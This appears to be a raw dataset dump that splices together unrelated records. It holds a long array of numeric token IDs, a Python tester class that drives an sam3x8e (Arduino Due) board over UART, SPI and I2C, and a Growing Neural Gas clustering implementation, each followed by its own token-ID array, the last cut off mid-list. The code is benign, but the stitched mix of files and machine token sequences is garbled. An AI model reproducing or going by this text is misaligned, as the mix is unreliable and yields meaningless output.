2187, 353, 15886, 29889, 23362, 4197, 14352, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 1402, 13, 462, 462, 259, 21069, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 1402, 13, 462, 462, 259, 518, 29896, 29889, 29900, 29892, 448, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 1402, 13, 462, 462, 259, 518, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 20526, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 10656, 29918, 262, 509, 1144, 1199, 353, 15886, 29889, 23362, 4197, 29961, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 1402, 13, 462, 462, 268, 518, 29900, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 1402, 13, 462, 462, 268, 518, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 20526, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 10656, 29918, 5450, 362, 29918, 5344, 353, 15886, 29889, 23362, 4197, 29961, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 1402, 13, 462, 462, 3986, 518, 29900, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 1402, 13, 462, 462, 3986, 518, 29900, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 29892, 29871, 29896, 29889, 29900, 20526, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 10656, 29918, 3286, 18411, 353, 15886, 29889, 23362, 4197, 29945, 29889, 29900, 29892, 29871, 29945, 29889, 29900, 29892, 29871, 29900, 29889, 29900, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 13, 1678, 1967, 29918, 2103, 353, 29871, 29896, 29900, 13, 1678, 1967, 29918, 3545, 353, 29871, 29896, 29900, 13, 1678, 10809, 29918, 3027, 29918, 29900, 29900, 353, 15886, 29889, 2873, 4197, 29945, 29892, 29871, 29945, 29892, 29871, 29896, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 334, 29871, 29896, 29889, 29900, 13, 1678, 10809, 29918, 3027, 29918, 29900, 29896, 353, 15886, 29889, 2873, 4197, 29945, 29892, 29871, 29945, 29892, 29871, 29896, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 334, 29871, 29906, 29889, 29900, 13, 1678, 10809, 29918, 3027, 29918, 29896, 29900, 353, 15886, 29889, 2873, 4197, 29945, 29892, 29871, 29945, 29892, 29871, 29896, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 334, 29871, 29896, 29889, 29900, 13, 1678, 10809, 29918, 3027, 29918, 29896, 29896, 353, 15886, 29889, 2873, 4197, 29945, 29892, 29871, 29945, 29892, 29871, 29896, 1402, 26688, 29922, 13264, 29889, 7411, 29941, 29906, 29897, 334, 29871, 29946, 29889, 29900, 13, 1678, 10809, 29918, 3027, 353, 15886, 29889, 17685, 4197, 13, 4706, 15886, 29889, 17685, 4197, 19488, 29918, 3027, 29918, 29900, 29900, 29892, 10809, 29918, 3027, 29918, 29900, 29896, 1402, 9685, 29922, 29896, 511, 13, 4706, 15886, 29889, 17685, 4197, 19488, 29918, 3027, 29918, 29896, 29900, 29892, 10809, 29918, 3027, 29918, 29896, 29896, 1402, 9685, 29922, 29896, 29897, 13, 1678, 21251, 13, 462, 9651, 9685, 29922, 29900, 29897, 13, 1678, 10809, 29918, 386, 12268, 353, 29871, 29900, 29889, 29896, 13, 1678, 313, 9748, 29918, 262, 29918, 3027, 29918, 2557, 29892, 13, 268, 26401, 29897, 353, 410, 24247, 29889, 4836, 29918, 9748, 29918, 2541, 29918, 19488, 29918, 28814, 29918, 3198, 29898, 13, 308, 1298, 29918, 1066, 2187, 29922, 3149, 29918, 1066, 2187, 29892, 13, 308, 10656, 29918, 262, 509, 1144, 1199, 29922, 26065, 29918, 262, 509, 1144, 1199, 29892, 13, 308, 10656, 29918, 5450, 362, 29918, 5344, 29922, 26065, 29918, 5450, 362, 29918, 5344, 29892, 13, 308, 10656, 29918, 3286, 18411, 29922, 26065, 29918, 3286, 18411, 29892, 13, 308, 1967, 29918, 2103, 29922, 3027, 29918, 2103, 29892, 13, 308, 1967, 29918, 3545, 29922, 3027, 29918, 3545, 29892, 13, 308, 10809, 29918, 3027, 29922, 19488, 29918, 3027, 29892, 13, 308, 10809, 29918, 262, 509, 1144, 1199, 29922, 26065, 29918, 262, 509, 1144, 1199, 29892, 13, 308, 10809, 29918, 386, 12268, 29922, 19488, 29918, 386, 12268, 29897, 13, 1678, 1583, 29889, 9294, 3596, 9843, 29898, 13, 4706, 26401, 29889, 23749, 2141, 579, 668, 29898, 9302, 29889, 524, 29941, 29906, 511, 7442, 29889, 2378, 4197, 29896, 29892, 29871, 29896, 29892, 29871, 29900, 29892, 29871, 29900, 12622, 13, 1678, 1583, 29889, 9294, 3596, 9843, 29898, 9748, 29918, 262, 29918, 3027, 29918, 2557, 29889, 23749, 3285, 7442, 29889, 2378, 4197, 29961, 29946, 29892, 29871, 29946, 1402, 13, 462, 462, 462, 462, 518, 29946, 29892, 29871, 29953, 1402, 13, 462, 462, 462, 462, 518, 29953, 29892, 29871, 29946, 1402, 13, 462, 462, 462, 462, 518, 29953, 29892, 29871, 29953, 5262, 876, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29871, 15886, 29889, 1688, 29889, 3396, 580, 13, 2 ]
py/sam3x8e/tester.py
segrids/arduino_due
3
146028
<reponame>segrids/arduino_due<filename>py/sam3x8e/tester.py """ MIT License Copyright (c) 2021 by <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Author: <NAME> """ from sys import stdout import time from ..hexen import * from .. import uart from ..apdu import Apdu from .programmer import Programmer def tester(port): from .uart import Serial serial = Serial(port) return Tester(serial) """ class Tester() Command interface to a sam3x8e target device. The target device is assumed to run a command handler for APDU instruction classes 'L' (Loader) | loader.c 'T' (Tester) | tester.c Extend methods of Programmer class by tests. """ class Tester(Programmer): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def blink(self): """Toggle pin B27 repeatedly.""" _, status = self.apdu.sendreceive(b'B', cla=b'T') return status def set_led(self, value): _, status = self.apdu.sendreceive(b'l', bu8(value), cla=b'T') assert status == 0x9000 def pc(self): """Read the address of the uart_send_uint8 function. Useful to detect if program is executing in flash or RAM. """ res, status = self.apdu.sendreceive(b'W', b'', 4, cla=b'T') assert status == 0x9000 return ub32(res) ### Test SPI slave commands (Attention: MOSI to MOSI, MISO to MISO) def spi_open(self): res, status = self.apdu.sendreceive(cla=b'T', ins=b'o', res_len=0) assert status == 0x9000 def spi_send(self, data): res, status = self.apdu.sendreceive(cla=b'T', ins=b'w', data=data, res_len=0) assert status == 0x9000 def spi_receive(self, length): res, status = self.apdu.sendreceive(cla=b'T', ins=b'r', res_len=length) assert status == 0x9000 return res ### Test I2C slave commands def i2c_open(self): res, status = self.apdu.sendreceive(cla=b'T', ins=b'O', res_len=0) assert status == 0x9000 def i2c_send(self, data): res, status = self.apdu.sendreceive(cla=b'T', ins=b'W', data=data, res_len=0) assert status == 0x9000 def i2c_receive(self, length): res, status = self.apdu.sendreceive(cla=b'T', ins=b'R', res_len=length) assert status == 0x9000 return res
[ 1, 529, 276, 1112, 420, 29958, 344, 629, 4841, 29914, 538, 29884, 1789, 29918, 29123, 29966, 9507, 29958, 2272, 29914, 13445, 29941, 29916, 29947, 29872, 29914, 1688, 261, 29889, 2272, 13, 15945, 29908, 341, 1806, 19245, 13, 13, 11882, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29906, 29896, 491, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 13, 27293, 338, 1244, 1609, 16896, 29892, 3889, 310, 8323, 29892, 304, 738, 2022, 4017, 292, 263, 3509, 13, 974, 445, 7047, 322, 6942, 5106, 2066, 313, 1552, 376, 6295, 14093, 4968, 304, 5376, 13, 262, 278, 18540, 1728, 24345, 29892, 3704, 1728, 29485, 278, 10462, 13, 517, 671, 29892, 3509, 29892, 6623, 29892, 10366, 29892, 9805, 29892, 1320, 2666, 29892, 269, 803, 1947, 29892, 322, 29914, 272, 19417, 13, 9708, 583, 310, 278, 18540, 29892, 322, 304, 14257, 12407, 304, 6029, 278, 18540, 338, 13, 29888, 595, 3276, 304, 437, 577, 29892, 4967, 304, 278, 1494, 5855, 29901, 13, 13, 1576, 2038, 3509, 1266, 8369, 322, 445, 10751, 8369, 4091, 367, 5134, 297, 599, 13, 9708, 583, 470, 23228, 2011, 1080, 310, 278, 18540, 29889, 13, 13, 28350, 7791, 7818, 12982, 1525, 8519, 13756, 13044, 3352, 376, 3289, 8519, 613, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29979, 8079, 13764, 29979, 476, 22255, 29892, 8528, 15094, 1799, 6323, 13, 29902, 3580, 5265, 3352, 29892, 2672, 6154, 15789, 4214, 350, 2692, 6058, 27848, 3352, 7495, 6093, 399, 1718, 29934, 13566, 29059, 8079, 341, 1001, 3210, 13566, 2882, 6227, 11937, 29892, 13, 29943, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 5300, 405, 1164, 1177, 15860, 1177, 1692, 13780, 29889, 2672, 11698, 382, 29963, 3919, 24972, 9818, 6093, 13, 20656, 29950, 24125, 6323, 315, 4590, 29979, 22789, 3912, 379, 5607, 8032, 29903, 20700, 17705, 6181, 15842, 13764, 29979, 315, 4375, 7833, 29892, 21330, 1529, 1692, 29903, 6323, 438, 29911, 4448, 13, 5265, 2882, 6227, 11937, 29892, 12317, 2544, 4448, 2672, 13764, 319, 9838, 8079, 8707, 29911, 4717, 1783, 29892, 323, 8476, 6323, 438, 29911, 4448, 22119, 1660, 29892, 9033, 3235, 4214, 3895, 29892, 13, 12015, 8079, 6323, 2672, 8707, 8186, 9838, 22659, 6093, 7791, 7818, 12982, 1525, 6323, 6093, 501, 1660, 6323, 438, 29911, 4448, 5012, 1964, 4214, 29903, 2672, 6093, 13, 6156, 7818, 12982, 1525, 29889, 29871, 13, 13, 13720, 29901, 529, 5813, 29958, 13, 15945, 29908, 13, 13, 3166, 10876, 1053, 27591, 13, 5215, 931, 13, 13, 3166, 6317, 20970, 264, 1053, 334, 13, 3166, 6317, 1053, 318, 442, 13, 3166, 6317, 481, 700, 1053, 6225, 700, 13, 3166, 869, 8860, 1050, 1053, 7835, 1050, 13, 13, 13, 1753, 1243, 261, 29898, 637, 1125, 13, 1678, 515, 869, 29884, 442, 1053, 18896, 13, 1678, 7797, 353, 18896, 29898, 637, 29897, 13, 1678, 736, 323, 4156, 29898, 15550, 29897, 13, 13, 15945, 29908, 13, 1990, 323, 4156, 580, 13, 13, 6255, 5067, 304, 263, 3514, 29941, 29916, 29947, 29872, 3646, 4742, 29889, 13, 13, 1576, 3646, 4742, 338, 12023, 304, 1065, 263, 1899, 7834, 363, 12279, 14849, 15278, 4413, 13, 13, 29915, 29931, 29915, 313, 10036, 29897, 259, 891, 23466, 29889, 29883, 13, 29915, 29911, 29915, 313, 3057, 261, 29897, 259, 891, 1243, 261, 29889, 29883, 13, 13, 5647, 355, 3519, 310, 7835, 1050, 770, 491, 6987, 29889, 13, 15945, 29908, 13, 1990, 323, 4156, 29898, 9283, 1050, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 2428, 2141, 1649, 2344, 1649, 10456, 5085, 29892, 3579, 19290, 29897, 13, 13, 1678, 822, 1999, 682, 29898, 1311, 1125, 13, 4706, 9995, 27199, 12534, 350, 29906, 29955, 28424, 1213, 15945, 13, 4706, 17117, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 29890, 29915, 29933, 742, 3711, 29922, 29890, 29915, 29911, 1495, 13, 4706, 736, 4660, 13, 13, 1678, 822, 731, 29918, 839, 29898, 1311, 29892, 995, 1125, 13, 4706, 17117, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 29890, 29915, 29880, 742, 1321, 29947, 29898, 1767, 511, 3711, 29922, 29890, 29915, 29911, 1495, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 13, 1678, 822, 22844, 29898, 1311, 1125, 13, 4706, 9995, 6359, 278, 3211, 310, 278, 318, 442, 29918, 6717, 29918, 13470, 29947, 740, 29889, 13, 13, 4706, 4803, 1319, 304, 6459, 565, 1824, 338, 14012, 297, 11013, 470, 18113, 29889, 13, 4706, 9995, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 29890, 29915, 29956, 742, 289, 29915, 742, 29871, 29946, 29892, 3711, 29922, 29890, 29915, 29911, 1495, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 4706, 736, 13069, 29941, 29906, 29898, 690, 29897, 13, 13, 1678, 835, 4321, 317, 2227, 19532, 8260, 313, 4165, 2509, 29901, 341, 3267, 29902, 304, 341, 3267, 29902, 29892, 341, 29096, 304, 341, 29096, 29897, 13, 1678, 822, 805, 29875, 29918, 3150, 29898, 1311, 1125, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 16398, 29922, 29890, 29915, 29911, 742, 1663, 29922, 29890, 29915, 29877, 742, 620, 29918, 2435, 29922, 29900, 29897, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 13, 1678, 822, 805, 29875, 29918, 6717, 29898, 1311, 29892, 848, 1125, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 16398, 29922, 29890, 29915, 29911, 742, 1663, 29922, 29890, 29915, 29893, 742, 848, 29922, 1272, 29892, 620, 29918, 2435, 29922, 29900, 29897, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 13, 1678, 822, 805, 29875, 29918, 13556, 573, 29898, 1311, 29892, 3309, 1125, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 16398, 29922, 29890, 29915, 29911, 742, 1663, 29922, 29890, 29915, 29878, 742, 620, 29918, 2435, 29922, 2848, 29897, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 4706, 736, 620, 13, 13, 1678, 835, 4321, 306, 29906, 29907, 19532, 8260, 13, 1678, 822, 474, 29906, 29883, 29918, 3150, 29898, 1311, 1125, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 16398, 29922, 29890, 29915, 29911, 742, 1663, 29922, 29890, 29915, 29949, 742, 620, 29918, 2435, 29922, 29900, 29897, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 13, 1678, 822, 474, 29906, 29883, 29918, 6717, 29898, 1311, 29892, 848, 1125, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 16398, 29922, 29890, 29915, 29911, 742, 1663, 29922, 29890, 29915, 29956, 742, 848, 29922, 1272, 29892, 620, 29918, 2435, 29922, 29900, 29897, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 13, 1678, 822, 474, 29906, 29883, 29918, 13556, 573, 29898, 1311, 29892, 3309, 1125, 13, 4706, 620, 29892, 4660, 353, 1583, 29889, 481, 700, 29889, 6717, 13556, 573, 29898, 16398, 29922, 29890, 29915, 29911, 742, 1663, 29922, 29890, 29915, 29934, 742, 620, 29918, 2435, 29922, 2848, 29897, 13, 4706, 4974, 4660, 1275, 29871, 29900, 29916, 29929, 29900, 29900, 29900, 13, 4706, 736, 620, 13, 13, 13, 13, 13, 13, 13, 2 ]
GrowingNeuralGas.py
Kursula/GrowingNeuralGas
0
140760
""" This code implements the Growing Neural Gas algorithm that creates a graph that learns the topologies in the given input data. See e.g. followning documents references: https://papers.nips.cc/paper/893-a-growing-neural-gas-network-learns-topologies.pdf http://www.booru.net/download/MasterThesisProj.pdf """ from FeatureGraph.graph import Graph import numpy as np class GrowingNeuralGas: def __init__(self, feature_dim : int): self.feature_dim = feature_dim # GNG vertex counter self.n_vertex = 0 # Unique vertex naming counter self.name_counter = 0 # Init stuff self.__init_graph() def __get_unique_name(self, prefix : str = 'N') -> str: """ Generates unique names for GNG graph elements """ name = prefix + str(self.name_counter) self.name_counter += 1 return name def __init_graph(self) -> None: """ Initialize the GNG graph database """ self.graph = Graph() def __add_vertex(self, feature_vector : np.ndarray) -> str: """ Add new vertex to the GNG graph. Returns the vertex key. """ key = self.__get_unique_name() self.graph.add_vertex(key=key) self.graph.set_vertex_param(key=key, feature_vector=feature_vector, error=0) self.n_vertex += 1 return key def __add_edge(self, key_a : str, key_b : str) -> None: """ Add new edge to the GNG graph and initialize the GNG specific parameters """ self.graph.add_edge(key_a=key_a, key_b=key_b, bidirectional=True) self.graph.set_edge_param(key_a=key_a, key_b=key_b, age=0) def __delete_vertex(self, key : str) -> None: """ Delete vertex and all edges associated to it. """ self.graph.delete_vertex(key) self.n_vertex -= 1 def __delete_edge(self, key_a : str, key_b : str) -> None: self.graph.delete_edge(key_a, key_b, bidirectional=True) def __get_vertex_param(self, key, param_key) -> any: value = self.graph.get_vertex_param(key=key, param_key=param_key) return value def __get_edge_param(self, key_a, key_b, param_key) -> any: value = self.graph.get_edge_param(key_a=key_a, key_b=key_b, param_key=param_key) return value def __set_vertex_param(self, key, **kwargs) -> None: self.graph.set_vertex_param(key=key, **kwargs) def __set_edge_param(self, key_a, key_b, **kwargs) -> None: self.graph.set_edge_param(key_a=key_a, key_b=key_b, **kwargs) def __find_nearest_vertices(self, ref_vect : np.ndarray, n_vertex : int = 2) -> list: # Get all vertex keys vertices = self.graph.get_vertices() # Calculate all distances distances = [] for vertex in vertices: vertex_vect = self.__get_vertex_param(key=vertex, param_key='feature_vector') dist = np.linalg.norm(vertex_vect - ref_vect) distances.append([vertex, dist]) distances = sorted(distances, key=lambda x: x[1]) return distances[:n_vertex] def __get_neighbor_vertices(self, key) -> list: neighbors = self.graph.get_edges(key)['out'] return neighbors def __delete_expired_edges(self, age_limit : int) -> None: vertices = self.graph.get_vertices() for key_a in vertices: neighbors = self.graph.get_edges(key_a)['out'] for key_b in neighbors: edge_age = self.__get_edge_param(key_a, key_b, 'age') if edge_age > age_limit: self.graph.delete_edge(key_a, key_b, bidirectional=True) def __delete_unconnected_vertices(self) -> None: vertices = self.graph.get_vertices() for key in vertices: neighbors = self.graph.get_edges(key)['out'] if len(neighbors) == 0: self.graph.delete_vertex(key) self.n_vertex -= 1 def __find_largest_error_vertex(self) -> str: vertices = self.graph.get_vertices() max_err_val = 0 max_err_key = '' for key in vertices: error = self.__get_vertex_param(key=key, param_key='error') if error > max_err_val: max_err_val = error max_err_key = key return [max_err_key, max_err_val] def __find_largest_error_neighbor(self, key) -> str: neighbors = self.graph.get_edges(key)['out'] max_err_val = 0 max_err_key = '' for key in neighbors: error = self.__get_vertex_param(key=key, param_key='error') if error > max_err_val: max_err_val = error max_err_key = key return [max_err_key, max_err_val] def __scale_vertex_error_values(self, attenuation : float) -> None: vertices = self.graph.get_vertices() for key in vertices: error = self.__get_vertex_param(key, 'error') error -= attenuation * error self.__set_vertex_param(key, error=error) def get_graph(self): return self.graph def fit(self, dataset : np.ndarray, iterations : int, max_vertex : int, winner_upd_coeff : float = 0.05, neighbor_upd_coeff : float = 0.0005, edge_age_limit : int = 100, vertex_insert_interval : int = 100, vertex_insert_error_scaling : float = 0.5, error_attenuation : float = 0.0005, plot_interval : int = 100, plot_function : any = None) -> None : n_pts = dataset.shape[0] for iteration in range(1, iterations + 1): if self.n_vertex < 2: # Initialize graph # Add the two starting vertices and edge between them key_a = self.__add_vertex(feature_vector=np.random.rand(self.feature_dim)) key_b = self.__add_vertex(feature_vector=np.random.rand(self.feature_dim)) self.__add_edge(key_a, key_b) # Plot stuff if (plot_interval is not None) and \ (iteration % plot_interval == 0) and \ (plot_function is not None): plot_function(dataset, self.graph, iteration) # Get random data point to be used in GNG graph fitting. idx = np.random.randint(n_pts) data_vect = dataset[idx] # Find two nearest vertices from the GNG graph nearest = self.__find_nearest_vertices(data_vect, n_vertex=2) # Update the winner vertex error value vertex_a_key = nearest[0][0] vertex_a_dist = nearest[0][1] error = self.__get_vertex_param(key=vertex_a_key, param_key='error') error += vertex_a_dist ** 2 self.__set_vertex_param(key=vertex_a_key, error=error) # Update winner vertex feature vector vertex_vect = self.__get_vertex_param(key=vertex_a_key, param_key='feature_vector') vertex_vect = vertex_vect + winner_upd_coeff * (data_vect - vertex_vect) self.__set_vertex_param(key=vertex_a_key, feature_vector=vertex_vect) # Update winner's neighbor vertices neighbor_vertices = self.__get_neighbor_vertices(vertex_a_key) for vertex_b_key in neighbor_vertices: # Update vectors vertex_vect = self.__get_vertex_param(key=vertex_b_key, param_key='feature_vector') vertex_vect = vertex_vect + neighbor_upd_coeff * (data_vect - vertex_vect) self.__set_vertex_param(key=vertex_b_key, feature_vector=vertex_vect) # Update edge ages edge_age = self.__get_edge_param(vertex_a_key, vertex_b_key, 'age') edge_age += 1 self.__set_edge_param(vertex_a_key, vertex_b_key, age=edge_age) # Update the second nearest vertex vertex_b_key = nearest[1][0] vertex_b_dist = nearest[1][1] if vertex_b_key not in neighbor_vertices: # Add edge if it doesn't exist yet self.__add_edge(vertex_a_key, vertex_b_key) else: # Set edge age to zero self.__set_edge_param(vertex_a_key, vertex_b_key, age=0) #pass # Delete too old edges self.__delete_expired_edges(edge_age_limit) # Delete vertices with no edges self.__delete_unconnected_vertices() # Add new vertex if (iteration % vertex_insert_interval == 0) and (self.n_vertex < max_vertex): # Get vertex with largest error value search_result = self.__find_largest_error_vertex() vertex_a_key = search_result[0] vertex_a_error = search_result[1] vertex_a_vect = self.__get_vertex_param(vertex_a_key, 'feature_vector') # Get the neighbor with largest error neighbor_result = self.__find_largest_error_neighbor(vertex_a_key) vertex_b_key = neighbor_result[0] vertex_b_error = neighbor_result[1] vertex_b_vect = self.__get_vertex_param(vertex_b_key, 'feature_vector') # Calculate new error values new_a_error = vertex_a_error * vertex_insert_error_scaling self.__set_vertex_param(vertex_a_key, error=new_a_error) new_b_error = vertex_b_error * vertex_insert_error_scaling self.__set_vertex_param(vertex_b_key, error=new_b_error) # Setup new vertex new_vertex_vector = (vertex_a_vect + vertex_b_vect) / 2 new_vertex_error = new_a_error new_vertex_key = self.__add_vertex(new_vertex_vector) self.__set_vertex_param(new_vertex_key, error=new_vertex_error) # Rearrange the edges self.__delete_edge(vertex_a_key, vertex_b_key) self.__add_edge(new_vertex_key, vertex_a_key) self.__add_edge(new_vertex_key, vertex_b_key) # Reduce all error values self.__scale_vertex_error_values(error_attenuation)
[ 1, 9995, 13, 4013, 775, 10703, 278, 402, 798, 292, 2448, 3631, 19141, 5687, 393, 10017, 263, 3983, 29871, 13, 5747, 24298, 1983, 278, 2246, 11763, 297, 278, 2183, 1881, 848, 29889, 29871, 13, 13, 13393, 321, 29889, 29887, 29889, 1101, 1076, 10701, 9282, 29901, 29871, 13, 991, 597, 29886, 21321, 29889, 1240, 567, 29889, 617, 29914, 19773, 29914, 29947, 29929, 29941, 29899, 29874, 29899, 29887, 798, 292, 29899, 484, 3631, 29899, 25496, 29899, 11618, 29899, 1945, 1983, 29899, 3332, 11763, 29889, 5140, 13, 1124, 597, 1636, 29889, 833, 22803, 29889, 1212, 29914, 10382, 29914, 19203, 1349, 6656, 1184, 29926, 29889, 5140, 13, 15945, 29908, 13, 13, 3166, 5169, 1535, 9527, 29889, 4262, 1053, 12367, 13, 5215, 12655, 408, 7442, 13, 13, 13, 13, 1990, 402, 798, 292, 8139, 3631, 29954, 294, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 13, 18884, 4682, 29918, 6229, 584, 938, 1125, 29871, 13, 308, 13, 4706, 1583, 29889, 14394, 29918, 6229, 353, 4682, 29918, 6229, 13, 308, 13, 4706, 396, 402, 9312, 12688, 6795, 29871, 13, 4706, 1583, 29889, 29876, 29918, 369, 4776, 353, 29871, 29900, 29871, 13, 308, 13, 4706, 396, 853, 1387, 12688, 22006, 6795, 13, 4706, 1583, 29889, 978, 29918, 11808, 353, 29871, 29900, 13, 308, 13, 4706, 396, 10886, 6433, 13, 4706, 1583, 17255, 2344, 29918, 4262, 580, 13, 308, 13, 268, 13, 1678, 822, 4770, 657, 29918, 13092, 29918, 978, 29898, 1311, 29892, 10944, 584, 851, 353, 525, 29940, 1495, 1599, 851, 29901, 13, 4706, 9995, 13, 4706, 3251, 1078, 5412, 2983, 363, 402, 9312, 3983, 3161, 13, 4706, 9995, 13, 4706, 1024, 353, 10944, 718, 851, 29898, 1311, 29889, 978, 29918, 11808, 29897, 13, 4706, 1583, 29889, 978, 29918, 11808, 4619, 29871, 29896, 13, 4706, 736, 1024, 13, 308, 13, 632, 13, 1678, 822, 4770, 2344, 29918, 4262, 29898, 1311, 29897, 1599, 6213, 29901, 13, 4706, 9995, 13, 4706, 25455, 278, 402, 9312, 3983, 2566, 13, 4706, 9995, 13, 4706, 1583, 29889, 4262, 353, 12367, 580, 13, 13, 308, 13, 1678, 822, 4770, 1202, 29918, 369, 4776, 29898, 1311, 29892, 4682, 29918, 8111, 584, 7442, 29889, 299, 2378, 29897, 1599, 851, 29901, 13, 4706, 9995, 13, 4706, 3462, 716, 12688, 304, 278, 402, 9312, 3983, 29889, 29871, 13, 4706, 16969, 278, 12688, 1820, 29889, 13, 4706, 9995, 13, 4706, 1820, 353, 1583, 17255, 657, 29918, 13092, 29918, 978, 580, 13, 4706, 1583, 29889, 4262, 29889, 1202, 29918, 369, 4776, 29898, 1989, 29922, 1989, 29897, 13, 4706, 1583, 29889, 4262, 29889, 842, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 1989, 29892, 4682, 29918, 8111, 29922, 14394, 29918, 8111, 29892, 1059, 29922, 29900, 29897, 13, 4706, 1583, 29889, 29876, 29918, 369, 4776, 4619, 29871, 29896, 13, 4706, 736, 1820, 13, 268, 13, 268, 13, 1678, 822, 4770, 1202, 29918, 12864, 29898, 1311, 29892, 1820, 29918, 29874, 584, 851, 29892, 1820, 29918, 29890, 584, 851, 29897, 1599, 6213, 29901, 13, 4706, 9995, 13, 4706, 3462, 716, 7636, 304, 278, 402, 9312, 3983, 322, 11905, 278, 402, 9312, 2702, 4128, 13, 4706, 9995, 13, 4706, 1583, 29889, 4262, 29889, 1202, 29918, 12864, 29898, 1989, 29918, 29874, 29922, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29922, 1989, 29918, 29890, 29892, 21000, 8684, 284, 29922, 5574, 29897, 13, 4706, 1583, 29889, 4262, 29889, 842, 29918, 12864, 29918, 3207, 29898, 1989, 29918, 29874, 29922, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29922, 1989, 29918, 29890, 29892, 5046, 29922, 29900, 29897, 13, 308, 13, 13, 1678, 822, 4770, 8143, 29918, 369, 4776, 29898, 1311, 29892, 1820, 584, 851, 29897, 1599, 6213, 29901, 29871, 13, 4706, 9995, 13, 4706, 21267, 12688, 322, 599, 12770, 6942, 304, 372, 29889, 29871, 13, 4706, 9995, 13, 4706, 1583, 29889, 4262, 29889, 8143, 29918, 369, 4776, 29898, 1989, 29897, 13, 4706, 1583, 29889, 29876, 29918, 369, 4776, 22361, 29871, 29896, 13, 13, 13, 1678, 822, 4770, 8143, 29918, 12864, 29898, 1311, 29892, 1820, 29918, 29874, 584, 851, 29892, 1820, 29918, 29890, 584, 851, 29897, 1599, 6213, 29901, 13, 4706, 1583, 29889, 4262, 29889, 8143, 29918, 12864, 29898, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29892, 21000, 8684, 284, 29922, 5574, 29897, 13, 268, 13, 308, 13, 1678, 822, 4770, 657, 29918, 369, 4776, 29918, 3207, 29898, 1311, 29892, 1820, 29892, 1828, 29918, 1989, 29897, 1599, 738, 29901, 13, 4706, 995, 353, 1583, 29889, 4262, 29889, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 1989, 29892, 1828, 29918, 1989, 29922, 3207, 29918, 1989, 29897, 13, 4706, 736, 995, 13, 268, 13, 268, 